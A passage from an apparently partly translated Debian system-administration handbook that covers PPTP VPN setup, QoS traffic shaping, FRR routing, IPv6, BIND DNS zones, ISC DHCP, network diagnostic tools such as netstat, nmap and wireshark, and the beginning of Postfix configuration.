# vpn.falcot.com is the PPTP server pty "pptp vpn.falcot.com --nolaunchpppd" # the connection will identify as the "vpn" user user vpn remotename pptp # encryption is needed require-mppe-128 file /etc/ppp/options.pptp ipparam falcot

Exempel 10.4. etc/ppp/ip-up.d/falcot filen

# Create the route to the Falcot network if [ "$6" = "falcot" ]; then # 192.168.0.0/24 is the (remote) Falcot network ip route add 192.168.0.0/24 dev $1 fi

Exempel 10.5. /etc/ppp/ip-down.d/falcot filen

# Delete the route to the Falcot network if [ "$6" = "falcot" ]; then # 192.168.0.0/24 is the (remote) Falcot network ip route del 192.168.0.0/24 dev $1 fi

SÄKERHET MPPE

Securing PPTP involves using the MPPE feature (Microsoft Point-to-Point Encryption), which is available in official Debian kernels as a module.

10.3.4.2. Konfigurera servern

VARNING PPTP och brandväggar

Intermediate firewalls need to be configured to let through IP packets using protocol 47 (GRE). Moreover, the PPTP server's port 1723 needs to be open so that the communication channel can happen.

pptpd is the PPTP server for Linux. Its main configuration file, /etc/pptpd.conf, requires very few changes: localip (local IP address) and remoteip (remote IP address). In the example below, the PPTP server always uses the 192.168.0.199 address, and PPTP clients receive IP addresses from 192.168.0.200 to 192.168.0.250.

Exempel 10.6. /etc/pptpd.conf filen

[..] # TAG: localip # TAG: remoteip # Specifies the local and remote IP address ranges. # # These options are ignored if delegate option is set. # # Any addresses work as long as the local machine takes care of the # routing. But if you want to use MS-Windows networking, you should # use IP addresses out of the LAN address space and use the proxyarp # option in the pppd options file, or run bcrelay. # # You can specify single IP addresses seperated by commas or you can # specify ranges, or both. For example: # # 192.168.0.234,192.168.0.245-249,192.168.0.254 # # IMPORTANT RESTRICTIONS: # # 1. No spaces are permitted between commas or within addresses. # # 2. If you give more IP addresses than the value of connections, # it will start at the beginning of the list and go until it # gets connections IPs. Others will be ignored. # # 3. No shortcuts in ranges! ie. 234-8 does not mean 234 to 238, # you must type 234-238 if you mean this. # # 4. If you give a single localIP, that's ok - all local IPs will # be set to the given one. You MUST still give at least one remote # IP for each simultaneous client. # # (Recommended) #localip 192.168.0.1 #remoteip 192.168.0.234-238,192.168.0.245 # or #localip 192.168.0.234-238,192.168.0.245 #remoteip 192.168.1.234-238,192.168.1.245 localip 192.168.0.199 remoteip 192.168.0.200-250

The PPP configuration used by the PPTP server also requires a few changes in /etc/ppp/pptpd-options. The important parameters are the server name (pptp), the domain name (falcot.com), and the IP addresses for DNS and WINS servers.

Exempel 10.7. /etc/ppp/pptpd-options filen

# Enable connection debugging facilities. # (see your syslog configuration for where pppd sends to) #debug # Name of the local system for authentication purposes # (must match the second field in /etc/ppp/chap-secrets entries) name pptpd # Optional: domain name to use for authentication ## change the domainname to your local domain domain falcot.com # Authentication ## these are reasonable defaults for WinXXXX clients ## for the security related settings auth refuse-pap refuse-chap refuse-mschap # Require the peer to authenticate itself using MS-CHAPv2 [Microsoft # Challenge Handshake Authentication Protocol, Version 2] authentication. require-mschap-v2 # Require MPPE 128-bit encryption # (note that MPPE requires the use of MSCHAP-V2 during authentication) require-mppe-128 # Network and Routing ## Fill in your addresses ms-dns 192.168.0.1 ms-wins 192.168.0.1 ## Fill in your netmask netmask 255.255.255.0 ## some defaults nodefaultroute proxyarp lock

The last step involves registering the vpn user (and the associated password) in the /etc/ppp/chap-secrets file. Contrary to other instances where an asterisk (*) would work, the server name must be filled explicitly here. Furthermore, Windows PPTP clients identify themselves under the DOMAIN\\USER form, instead of only providing a user name. This explains why the file also mentions the FALCOT\\vpn user. It is also possible to specify individual IP addresses for users; an asterisk in this field specifies that dynamic addressing should be used.

Exempel 10.8. /etc/ppp/chap-secrets fil

# Secrets for authentication using CHAP # client server secret IP addresses vpn pptp f@Lc3au * FALCOT\\vpn pptp f@Lc3au *

SÄKERHET PPTP säkerhetshål

Microsoft's first PPTP implementation drew severe criticism because it had many security vulnerabilities; most have since then been fixed in more recent versions. The configuration documented in this section uses the latest version of the protocol. Be aware though that removing some options (such as require-mppe-128 and require-mschap-v2) would make the service vulnerable again.

10.4. Quality of Service

10.4.1. Princip och mekanism

Quality of Service (or QoS for short) refers to a set of techniques that guarantee or improve the quality of the service provided to applications. The most popular such technique involves classifying the network traffic into categories, and differentiating the handling of traffic according to which category it belongs to. The main application of this differentiated services concept is traffic shaping, which limits the data transmission rates for connections related to some services and/or hosts so as not to saturate the available bandwidth and starve important other services. Traffic shaping is a particularly good fit for TCP traffic, since this protocol automatically adapts to available bandwidth.

KULTUR Nätneutralitet och QoS

Network neutrality is achieved when Internet service providers treat all Internet communications equally, that is, without any access limitation based on content, user, website, destination address, etc.

Quality of service can be implemented in a net neutral Internet, but only if Internet service providers can't charge a special fee for a higher-quality service.

It is also possible to alter the priorities on traffic, which allows prioritizing packets related to interactive services (such as ssh and telnet) or to services that only deal with small blocks of data.

The Debian kernels include the features required for QoS along with their associated modules. These modules are many, and each of them provides a different service, most notably by way of special schedulers for the queues of IP packets; the wide range of available scheduler behaviors spans the whole range of possible requirements.

CULTURE LARTC — Linux Advanced Routing & Traffic Control

The Linux Advanced Routing & Traffic Control HOWTO is the reference document covering everything there is to know about network quality of service.

→ https://www.lartc.org/howto/

10.4.2. Konfigurera och implementera

QoS parameters are set through the tc command (provided by the iproute package). Since its interface is quite complex, using higher-level tools is recommended.

10.4.2.1. Reducing Latencies: wondershaper

The main purpose of wondershaper (in the similarly-named package) is to minimize latencies independent of network load. This is achieved by limiting total traffic to a value that falls just short of the link saturation value.

Once a network interface is configured, setting up this traffic limitation is achieved by running wondershaper interface download_rate upload_rate. The interface can be enp1s0, eth0 or ppp0 for example, and both rates are expressed in kilobits per second. The wondershaper remove interface command disables traffic control on the specified interface.

For an Ethernet connection, historically this script would be called right after the interface is configured. This is done by adding up and down directives to the /etc/network/interfaces file allowing declared commands to be run, respectively, after the interface is configured and before it is deconfigured. Or in the PPP case, creating a script that calls wondershaper in /etc/ppp/ip-up.d/ will enable traffic control as soon as the connection is up. Below is an example using this first method:

Exempel 10.9. Ändringar i /etc/network/interfaces filen

iface eth0 inet dhcp up /sbin/wondershaper eth0 500 100 down /sbin/wondershaper remove eth0

GÅ VIDARE Optimal konfiguration

The /usr/share/doc/wondershaper/README.Debian.gz file describes, in some detail, the configuration method recommended by the package maintainer. In particular, it advises measuring the download and upload speeds so as to best evaluate real limits.

10.4.2.2. Standardkonfiguration

Barring a specific QoS configuration, the Linux kernel uses the pfifo_fast queue scheduler, which provides a few interesting features by itself. The priority of each processed IP packet is based on the DSCP field (Differentiated Services Code Point) of this packet; modifying this 6-bit field is enough to take advantage of the scheduling features. Refer to https://en.wikipedia.org/wiki/Differentiated_services#Class_Selector for more information.

The DSCP field can be set by applications that generate IP packets, or modified on the fly by netfilter. The following rules are sufficient to increase responsiveness for a server's SSH service, note that the DSCP field must be set in hexadecimal:

nft add table ip mangle nft add rule ip mangle PREROUTING tcp sport 22 counter ip dscp set 0x04 nft add rule ip mangle PREROUTING tcp dport 22 counter ip dscp set 0x04

10.5. Dynamisk routning

The reference tool for dynamic routing is currently frr from the similarly-named package; it used to be quagga, and before that zebra until development of these stopped. However, frr kept the names of the programs for compatibility reasons which explains the zebra commands below.

TILLBAKA TILL GRUNDERNA Dynamisk routning

Dynamic routing allows routers to adjust, in real time, the paths used for transmitting IP packets. Each protocol involves its own method of defining routes (shortest path, use routes advertised by peers, and so on).

In the Linux kernel, a route links a network device to a set of machines that can be reached through this device. The ip command, when route is used as the first argument, defines new routes and displays existing ones. The route command was used for that purpose, but it is deprecated in favor of ip.

FRR (FRRouting) is a set of daemons cooperating to define the routing tables to be used by the Linux kernel; each routing protocol (most notably BGP, OSPF and RIP) provides its own daemon(s). The zebra and staticd daemons, which are always started, collect information from other daemons and handle static routing tables accordingly. The other daemons are known as bgpd, ospfd, ospf6d, ripd, ripngd, isisd, etc.

Daemons are enabled by creating the /etc/frr/daemon.conf config file, daemon being the name of the daemon to use, and editing the /etc/frr/daemons configuration file. The daemon config file must belong to the frr user and group with permissions of 0640 in order for the /etc/init.d/frr script or the frr.service systemd service file to invoke the daemon. The package frr provides configuration examples under /usr/share/doc/frr/examples/.

The configuration of each of these daemons requires knowledge of the routing protocol in question. These protocols cannot be described in detail here, but frr-doc provides ample explanation in the form of both info and HTML files. The same contents may be more browsed on the project's website:

→ http://docs.frrouting.org/en/latest/

In addition, the syntax is very close to a standard router's configuration interface, and network administrators will adapt quickly to frr.

I PRAKTIKEN OSPF, BGP eller RIP?

OSPF (Open Shortest Path First) is generally the best protocol to use for dynamic routing on private networks, but BGP (Border Gateway Protocol) is more common for Internet-wide routing. RIP (Routing Information Protocol) is rather ancient, and hardly used anymore.

10.6. IPv6

IPv6, successor to IPv4, is a newer version of the IP protocol designed to fix its flaws, most notably the scarcity of available IP addresses. This protocol handles the network layer; its purpose is to provide a way to address machines, to convey data to their intended destination, and to handle data fragmentation if needed (in other words, to split packets into chunks with a size that depends on the network links to be used on the path and to reassemble the chunks in their proper order on arrival).

Debian kernels include IPv6 handling in the core kernel (with the exception of some architectures that have it compiled as a module named ipv6). Basic tools such as ping and traceroute have their IPv6 equivalents in ping6 and traceroute6, available respectively in the iputils-ping and iputils-tracepath packages.

The IPv6 network is configured similarly to IPv4, in /etc/network/interfaces. But if you want that network to be globally available, you must ensure that you have an IPv6-capable router relaying traffic to the global IPv6 network.

Exempel 10.10. Exempel på IPv6-konfiguration

iface enp7s0 inet6 static address 2001:db8:1234:5::1:1/64 # Disabling auto-configuration # autoconf 0 # The router is auto-configured and has no fixed address # (accept_ra 1). If it had: # gateway 2001:db8:1234:5::1

IPv6 subnets usually have a netmask of 64 bits. This means that 2⁶⁴ distinct addresses exist within the subnet. This allows Stateless Address Autoconfiguration (SLAAC) to pick an address based on the network interface's MAC address. By default, if SLAAC is activated in your network and IPv6 on your computer, the kernel will automatically find IPv6 routers and configure the network interfaces.

This behavior may have privacy implications. If you switch networks frequently, e.g. with a laptop, you might not want your MAC address being a part of your public IPv6 address. This makes it easy to identify the same device across networks. A solution to this are IPv6 privacy extensions (which Debian enables by default if IPv6 connectivity is detected during initial installation), which will assign an additional randomly generated address to the interface, periodically change them and prefer them for outgoing connections. Incoming connections can still use the address generated by SLAAC. The following example, for use in /etc/network/interfaces, activates these privacy extensions for the interface enp7s0.

Exempel 10.11. IPv6 privacy extensions

iface enp7s0 inet6 auto # Prefer the randomly assigned addresses for outgoing connections. privext 2

TIPS Program byggda med IPv6

Many pieces of software need to be adapted to handle IPv6. Most of the packages in Debian have been adapted already, but not all. If your favorite package does not work with IPv6 yet, you can ask for help on the debian-ipv6 mailing-list. They might know about an IPv6-aware replacement and could file a bug to get the issue properly tracked.

→ https://lists.debian.org/debian-ipv6/

IPv6 connections can be restricted, in the same fashion as for IPv4. nft can be used to create firewall rules for IPv4 and IPv6 (see Avsnitt 14.2.3, ”Syntax för nft”).

10.6.1. Tunneling

CAUTION IPv6 tunneling and firewalls

IPv6 tunneling over IPv4 (as opposed to native IPv6) requires the firewall to accept the traffic, which uses IPv4 protocol number 41.

If a native IPv6 connection is not available, the fallback method is to use a tunnel over IPv4. Hurricane Electric is one (free) provider of such tunnels:

→ https://tunnelbroker.net

To use a Hurricane Electric tunnel, you need to register an account, login, select a free tunnel and edit the file /etc/network/interfaces with the generated code.

You can install and configure the radvd daemon (from the similarly-named package) if you want to use the configured computer as a router for a local network. This IPv6 configuration daemon has a role similar to dhcpd in the IPv4 world.

The /etc/radvd.conf configuration file must then be created (see /usr/share/doc/radvd/examples/simple-radvd.conf as a starting point). In our case, the only required change is the prefix, which needs to be replaced with the one provided by Hurricane Electric; it can be found in the output of the ip a command, in the block concerning the he-ipv6 interface.

Then run systemctl start radvd. The IPv6 network should now work.

10.7. Domännamnservrar (DNS)

The Domain Name Service (DNS) is a fundamental component of the Internet: it maps host names to IP addresses (and vice-versa), which allows the use of www.debian.org instead of 130.89.148.77 or 2001:67c:2564:a119::77.

DNS records are organized in zones; each zone matches either a domain (or a subdomain) or an IP address range (since IP addresses are generally allocated in consecutive ranges). A primary server is authoritative on the contents of a zone; secondary servers, usually hosted on separate machines, provide regularly refreshed copies of the primary zone.

Each zone can contain records of various kinds (Resource Records), these are some of the most common:

A (address record): IPv4 address. This is the most common form to point a domain to an IPv4 address.

CNAME (canonical name record): alias

MX (mail exchange): an email server. This information is used by other email servers to find where to send email addressed to a given address. Each MX record has a priority. The highest-priority server (with the lowest number) is tried first (see sidebar TILLBAKA TILL GRUNDERNA SMTP); other servers are contacted in order of decreasing priority if the first one does not reply.

PTR (pointer): mapping of an IP address to a name. Such a record is stored in a “reverse DNS” zone named after the IP address range. For example, 1.168.192.in-addr.arpa is the zone containing the reverse mapping for all addresses in the 192.168.1.0/24 range.

AAAA (IPv6 address record): IPv6 address.

NS (name server): maps a name to a name server. Each domain must have at least one NS record. These records point at a DNS server that can answer queries concerning this domain; they usually point at the primary and secondary servers for the domain. These records also allow DNS delegation; for instance, the falcot.com zone can include an NS record for internal.falcot.com, which means that the internal.falcot.com zone is handled by another server. Of course, this server must declare an internal.falcot.com zone.

10.7.1. DNS programvara

The reference name server, Bind, was developed and is maintained by ISC (the Internet Software Consortium). It is provided in Debian by the bind9 package. Version 9 brings two major changes compared to previous versions. First, the DNS server can now run under an unprivileged user, so that a security vulnerability in the server does not grant root privileges to the attacker (as was seen repeatedly with versions 8.x).

Furthermore, Bind supports the DNSSEC standard for signing (and therefore authenticating) DNS records, which allows blocking any spoofing of this data during man-in-the-middle attacks.

KULTUR DNSSEC

The DNSSEC norm is quite complex; this partly explains why it is not in widespread usage yet (even if it perfectly coexists with DNS servers unaware of DNSSEC). To understand all the ins and outs, you should check the following article.

→ https://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions

10.7.2. Konfigurera bind

Konfigurationsfiler för bind, oavsett version, har samma struktur.

The Falcot administrators created a primary falcot.com zone to store information related to this domain, and a 168.192.in-addr.arpa zone for reverse mapping of IP addresses in the local networks.

CAUTION Names of reverse zones

Reverse zones have a particular name. The zone covering the 192.168.0.0/16 network needs to be named 168.192.in-addr.arpa: the IP address components are reversed, and followed by the in-addr.arpa suffix.

For IPv6 networks, the suffix is ip6.arpa and the IP address components which are reversed are each character in the full hexadecimal representation of the IP address. As such, the 2001:0bc8:31a0::/48 network would use a zone named 0.a.1.3.8.c.b.0.1.0.0.2.ip6.arpa.

TIPS Testa DNS servern

The host command (in the bind9-host package) queries a DNS server, and can be used to test the server configuration. For example, host machine.falcot.com localhost checks the local server's reply for the machine.falcot.com query. host ipaddress localhost tests the reverse resolution.

The following configuration excerpts, taken from the Falcot files, can serve as starting points to configure a DNS server:

Exempel 10.12. Excerpt of /etc/bind/named.conf.local

zone "falcot.com" { type master; file "/etc/bind/db.falcot.com"; allow-query { any; }; allow-transfer { 195.20.105.149/32 ; // ns0.xname.org 193.23.158.13/32 ; // ns1.xname.org }; }; zone "internal.falcot.com" { type master; file "/etc/bind/db.internal.falcot.com"; allow-query { 192.168.0.0/16; }; }; zone "168.192.in-addr.arpa" { type master; file "/etc/bind/db.192.168"; allow-query { 192.168.0.0/16; }; };

Exempel 10.13. Excerpt of /etc/bind/db.falcot.com

; falcot.com Zone ; admin.falcot.com. => zone contact: admin@falcot.com $TTL 604800 @ IN SOA falcot.com. admin.falcot.com. ( 20040121 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; ; The @ refers to the zone name ("falcot.com" here) ; or to $ORIGIN if that directive has been used ; @ IN NS ns @ IN NS ns0.xname.org. internal IN NS 192.168.0.2 @ IN A 212.94.201.10 @ IN MX 5 mail @ IN MX 10 mail2 ns IN A 212.94.201.10 mail IN A 212.94.201.10 mail2 IN A 212.94.201.11 www IN A 212.94.201.11 dns IN CNAME ns

CAUTION Syntax of a name

The syntax of machine names follows strict rules. For instance, machine implies machine.domain. If the domain name should not be appended to a name, said name must be written as machine. (with a dot as suffix). Indicating a DNS name outside the current domain therefore requires a syntax such as machine.otherdomain.com. (with the final dot).

Exempel 10.14. Excerpt of /etc/bind/db.192.168

; Reverse zone for 192.168.0.0/16 ; admin.falcot.com. => zone contact: admin@falcot.com $TTL 604800 @ IN SOA ns.internal.falcot.com. admin.falcot.com. ( 20040121 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL IN NS ns.internal.falcot.com. ; 192.168.0.1 -> arrakis 1.0 IN PTR arrakis.internal.falcot.com. ; 192.168.0.2 -> neptune 2.0 IN PTR neptune.internal.falcot.com. ; 192.168.3.1 -> pau 1.3 IN PTR pau.internal.falcot.com.

10.8. DHCP

DHCP (for Dynamic Host Configuration Protocol) is a protocol by which a machine can automatically get its network configuration when it boots. This allows centralizing the management of network configurations, and ensuring that all desktop machines get similar settings.

A DHCP server provides many network-related parameters. The most common of these is an IP address and the network where the machine belongs, but it can also provide other information, such as DNS servers, WINS servers, NTP servers, and so on.

The Internet Software Consortium (also involved in developing bind) is the main author of the DHCP server. The matching Debian package is isc-dhcp-server.

10.8.1. Konfigurera

The first elements that need to be edited in the DHCP server configuration files (/etc/dhcp/dhcpd.conf, and /etc/dhcp/dhcpd6.conf for IPv6) are the domain name and the DNS servers. If this server is alone on the local network (as defined by the broadcast propagation), the authoritative directive must also be enabled (or uncommented). One also needs to create a subnet section describing the local network and the configuration information to be provided. The following example fits a 192.168.0.0/24 local network with a router at 192.168.0.1 serving as the gateway. Available IP addresses are in the range 192.168.0.128 to 192.168.0.254.

Exempel 10.15. Excerpt of /etc/dhcp/dhcpd.conf

# # Sample configuration file for ISC dhcpd for Debian # # The ddns-updates-style parameter controls whether or not the server will # attempt to do a DNS update when a lease is confirmed. We default to the # behavior of the version 2 packages ('none', since DHCP v2 didn't # have support for DDNS.) ddns-update-style interim; # option definitions common to all supported networks... option domain-name "internal.falcot.com"; option domain-name-servers ns.internal.falcot.com; default-lease-time 600; max-lease-time 7200; # If this DHCP server is the official DHCP server for the local # network, the authoritative directive should be uncommented. authoritative; # Use this to send dhcp log messages to a different log file (you also # have to hack syslog.conf to complete the redirection). log-facility local7; # My subnet subnet 192.168.0.0 netmask 255.255.255.0 { option routers 192.168.0.1; option broadcast-address 192.168.0.255; range 192.168.0.128 192.168.0.254; ddns-domainname "internal.falcot.com"; }

10.8.2. DHCP och DNS

A nice feature is the automated registering of DHCP clients in the DNS zone, so that each machine gets a significant name (rather than something impersonal such as machine-192-168-0-131.internal.falcot.com). Using this feature requires configuring the DNS server to accept updates to the internal.falcot.com DNS zone from the DHCP server, and configuring the latter to submit updates for each registration.

In the bind case (see Avsnitt 10.7.1, ”DNS programvara”), the allow-update directive needs to be added to each of the zones that the DHCP server is to edit (the one for the internal.falcot.com domain, and the reverse zone). This directive lists the IP addresses allowed to perform these updates; it should therefore contain the possible addresses of the DHCP server (both the local address and the public address, if appropriate).

allow-update { 127.0.0.1 192.168.0.1 212.94.201.10 !any };

Beware! A zone that can be modified will be changed by bind, and the latter will overwrite its configuration files at regular intervals. Since this automated procedure produces files that are less human-readable than manually-written ones, the Falcot administrators handle the internal.falcot.com domain with a delegated DNS server; this means the falcot.com zone file stays firmly under their manual control.

The DHCP server configuration excerpt above already includes the directives required for DNS zone updates: they are the ddns-update-style interim; and ddns-domain-name "internal.falcot.com"; lines.

10.9. Nätverksdiagnosverktyg

When a network application does not run as expected, it is important to be able to look under the hood. Even when everything seems to run smoothly, running a network diagnosis can help ensure everything is working as it should. Several diagnosis tools exists for this purpose; each one operates on a different level. It would go beyond the scope of this book to discuss all tools, so we will focus on the more well-known and commonly used tools in the following sections.

10.9.1. Local Diagnosis: netstat

Let's first mention the netstat command (in the net-tools package); it displays an instant summary of a machine's network activity. When invoked with no argument, this command lists all open connections; this list can be very verbose since it includes many Unix-domain sockets (widely used by daemons) which do not involve the network at all (for example, dbus communication, X11 traffic, and communications between virtual filesystems and the desktop).

Common invocations therefore use options that alter netstat's behavior. The most frequently used options include:

-t, which filters the results to only include TCP connections;

-u, which works similarly for UDP connections; these options are not mutually exclusive, and one of them is enough to stop displaying Unix-domain connections;

-a, to also list listening sockets (waiting for incoming connections);

-n, to display the results numerically: IP addresses (no DNS resolution), port numbers (no aliases as defined in /etc/services) and user ids (no login names);

-p, to list the processes involved; this option is only useful when netstat is run as root, since normal users will only see their own processes;

-c, to continuously refresh the list of connections.

Other options, documented in the netstat(8) manual page, provide an even finer control over the displayed results. In practice, the first five options are so often used together that systems and network administrators practically acquired netstat -tupan as a reflex. Typical results, on a lightly loaded machine, may look like the following:

# netstat -tupan Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 397/rpcbind tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 431/sshd tcp 0 0 0.0.0.0:36568 0.0.0.0:* LISTEN 407/rpc.statd tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 762/exim4 tcp 0 272 192.168.1.242:22 192.168.1.129:44452 ESTABLISHED 1172/sshd: roland [ tcp6 0 0 :::111 :::* LISTEN 397/rpcbind tcp6 0 0 :::22 :::* LISTEN 431/sshd tcp6 0 0 ::1:25 :::* LISTEN 762/exim4 tcp6 0 0 :::35210 :::* LISTEN 407/rpc.statd udp 0 0 0.0.0.0:39376 0.0.0.0:* 916/dhclient udp 0 0 0.0.0.0:996 0.0.0.0:* 397/rpcbind udp 0 0 127.0.0.1:1007 0.0.0.0:* 407/rpc.statd udp 0 0 0.0.0.0:68 0.0.0.0:* 916/dhclient udp 0 0 0.0.0.0:48720 0.0.0.0:* 451/avahi-daemon: r udp 0 0 0.0.0.0:111 0.0.0.0:* 397/rpcbind udp 0 0 192.168.1.242:123 0.0.0.0:* 539/ntpd udp 0 0 127.0.0.1:123 0.0.0.0:* 539/ntpd udp 0 0 0.0.0.0:123 0.0.0.0:* 539/ntpd udp 0 0 0.0.0.0:5353 0.0.0.0:* 451/avahi-daemon: r udp 0 0 0.0.0.0:39172 0.0.0.0:* 407/rpc.statd udp6 0 0 :::996 :::* 397/rpcbind udp6 0 0 :::34277 :::* 407/rpc.statd udp6 0 0 :::54852 :::* 916/dhclient udp6 0 0 :::111 :::* 397/rpcbind udp6 0 0 :::38007 :::* 451/avahi-daemon: r udp6 0 0 fe80::5054:ff:fe99::123 :::* 539/ntpd udp6 0 0 2001:bc8:3a7e:210:a:123 :::* 539/ntpd udp6 0 0 2001:bc8:3a7e:210:5:123 :::* 539/ntpd udp6 0 0 ::1:123 :::* 539/ntpd udp6 0 0 :::123 :::* 539/ntpd udp6 0 0 :::5353 :::* 451/avahi-daemon: r

As expected, this lists established connections, two SSH connections in this case, and applications waiting for incoming connections (listed as LISTEN), notably the Exim4 email server listening on port 25.

10.9.2. Remote Diagnosis: nmap

nmap (in the similarly-named package) is, in a way, the remote equivalent for netstat. It can scan a set of “well-known” ports for one or several remote servers, and list the ports where an application is found to answer to incoming connections. Furthermore, nmap is able to identify some of these applications, sometimes even their version number. The counterpart of this tool is that, since it runs remotely, it cannot provide information on processes or users; however, it can operate on several targets at once.

A typical nmap invocation only uses the -A option (so that nmap attempts to identify the versions of the server software it finds) followed by one or more IP addresses or DNS names of machines to scan. Again, many more options exist to finely control the behavior of nmap; please refer to the documentation in the nmap(1) manual page.

# nmap debian Starting Nmap 7.80 ( https://nmap.org ) at 2022-02-22 20:58 CET Nmap scan report for debian (192.168.122.57) Host is up (0.000087s latency). Not shown: 996 closed ports PORT STATE SERVICE 22/tcp open ssh 79/tcp open finger 80/tcp open http 113/tcp open ident Nmap done: 1 IP address (1 host up) scanned in 0.07 seconds # nmap -A localhost nmap -A localhost Starting Nmap 7.80 ( https://nmap.org ) at 2022-02-22 20:56 CET Stats: 0:01:16 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 83.33% done; ETC: 20:57 (0:00:15 remaining) Nmap scan report for localhost (127.0.0.1) Host is up (0.000086s latency). Other addresses for localhost (not scanned): ::1 Not shown: 994 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0) |_auth-owners: foobar 25/tcp open smtp Postfix smtpd |_auth-owners: foobar |_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, | ssl-cert: Subject: commonName=debian | Subject Alternative Name: DNS:debian | Not valid before: 2022-02-22T14:48:42 |_Not valid after: 2032-02-20T14:48:42 |_ssl-date: TLS randomness does not represent time 79/tcp open finger? |_auth-owners: foobar |_finger: ERROR: Script execution failed (use -d to debug) 80/tcp open http Apache httpd 2.4.52 ((Debian)) |_auth-owners: foobar |_http-server-header: Apache/2.4.52 (Debian) |_http-title: Apache2 Debian Default Page: It works 113/tcp open ident Liedentd (Claimed user: foobar) |_auth-owners: foobar 631/tcp open ipp CUPS 2.3 |_auth-owners: foobar | http-robots.txt: 1 disallowed entry |_/ |_http-server-header: CUPS/2.3 IPP/2.1 |_http-title: Home - CUPS 2.3.3op2 Service Info: Host: debian; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 87.91 seconds

As expected, e.g. the SSH, Apache and Postfix applications are listed. Note that not all applications listen on all IP addresses; since Postfix is only accessible on the lo loopback interface, it only appears during an analysis of localhost and not when scanning debian (which maps to the enp1s0 interface on the same machine).

10.9.3. Sniffers: tcpdump and wireshark

Sometimes, one needs to look at what actually goes on the wire, packet by packet. These cases call for a “frame analyzer”, more widely known as a sniffer. Such a tool observes all the packets that reach a given network interface, and displays them in a user-friendly way.

The venerable tool in this domain is tcpdump, available as a standard tool on a wide range of platforms. It allows many kinds of network traffic capture, but the representation of this traffic stays rather obscure. We will therefore not describe it in further detail.

A more recent (and more modern) tool, wireshark (in the wireshark package), has become the new reference in network traffic analysis due to its many decoding modules that allow for a simplified analysis of the captured packets. The packets are displayed graphically with an organization based on the protocol layers. This allows a user to visualize all protocols involved in a packet. For example, given a packet containing an HTTP request, wireshark displays, separately, the information concerning the physical layer, the Ethernet layer, the IP packet information, the TCP connection parameters, and finally the HTTP request itself.

Figur 10.1. The wireshark network traffic analyzer

In our example, the packets traveling over SSH are filtered out (with the !tcp.port == 22 filter). The packet currently displayed was developed at the transport layer of the SSHv2 protocol.

TIPS wireshark utan grafiskt gränssnitt: tshark

When one cannot run a graphical interface, or does not wish to do so for whatever reason, a text-only version of wireshark also exists under the name tshark (in a separate tshark package). Most of the capture and decoding features are still available, but the lack of a graphical interface necessarily limits the interactions with the program (filtering packets after they've been captured, tracking of a given TCP connection, and so on). It can still be used as a first approach. If further manipulations are intended and require the graphical interface, the packets can be saved to a file and this file can be loaded into a graphical wireshark running on another machine.

Kapitel 11. Nätverkstjänster: Postfix, Apache, NFS, Samba, Squid, LDAP, SIP, XMPP, TURN

Network services are the programs that users interact with directly in their daily work. They are the tip of the information system iceberg, and this chapter focuses on them; the hidden parts they rely on are the infrastructure we already described. They usually require the encryption technology described in Avsnitt 10.2, ”X.509 certifikat”.

11.1. E-postserver

The Falcot Corp administrators selected Postfix for the electronic mail server, due to its reliability and its ease of configuration. Indeed, its design enforces that each task is implemented in a process with the minimum set of required permissions, which is a great mitigation measure against security problems.

ALTERNATIV Exim4 server

Debian uses Exim4 as the default email server (which is why the initial installation includes Exim4). The configuration is provided by a separate package, exim4-config, and automatically customized based on the answers to a set of Debconf questions very similar to the questions asked by the postfix package.

The configuration can be either in one single file (/etc/exim4/exim4.conf.template) or split across a number of configuration snippets stored under /etc/exim4/conf.d/. In both cases, the files are used by update-exim4.conf as templates to generate /var/lib/exim4/config.autogenerated. The latter is the file used by Exim4. Thanks to this mechanism, values obtained through Exim's debconf configuration — which are stored in /etc/exim4/update-exim4.conf.conf — can be injected in Exim's configuration file, even when the administrator or another package has altered the default Exim configuration.

The Exim4 configuration file syntax has its peculiarities and its learning curve; however, once these peculiarities are understood, Exim4 is a very complete and powerful email server, as evidenced by the tens of pages of documentation.

→ https://www.exim.org/docs.html

11.1.1. Installera Postfix

The postfix package includes the main SMTP daemon. Other packages (such as postfix-ldap and postfix-pgsql) add extra functionality to Postfix, including access to mapping databases. You should only install them if you know that you need them.

TILLBAKA TILL GRUNDERNA SMTP

SMTP (Simple Mail Transfer Protocol, RFC 5321) is the protocol used by mail servers to exchange and route emails.

Several Debconf questions are asked during the installation of the package. The answers allow generating a first version of the /etc/postfix/main.cf configuration file.

The first question deals with the type of setup. Only two of the proposed answers are relevant in case of an Internet-connected server, “Internet site” and “Internet with smarthost”. The former is appropriate for a server that receives incoming email and sends outgoing email directly to its recipients, and is therefore well-adapted to the Falcot Corp case. The latter is appropriate for a server receiving incoming email normally, but that sends outgoing email through an intermediate SMTP server — the “smarthost” — rather than directly to the recipient's server. This is mostly useful for individuals with a dynamic IP address, since many email servers reject messages coming straight from such an IP address. In this case, the smarthost will usually be the ISP's SMTP server, which is always configured to accept email coming from the ISP's customers and forward it appropriately. This setup (with a smarthost) is also relevant for servers that are not permanently connected to the internet, since it avoids having to manage a queue of undeliverable messages that need to be retried later.

VOKABULÄR ISP

ISP is the acronym for “Internet Service Provider”. It covers an entity, often a commercial company, that provides Internet connections and the associated basic services (email, news and so on).

The second question deals with the full name of the machine, used to generate email addresses from a local user name; the full name of the machine ends up as the part after the at-sign (“@”). In the case of Falcot, the answer should be mail.falcot.com. This is the only question asked by default, but the configuration it leads to is not complete enough for the needs of Falcot, which is why the administrators run dpkg-reconfigure postfix so as to be able to customize more parameters.

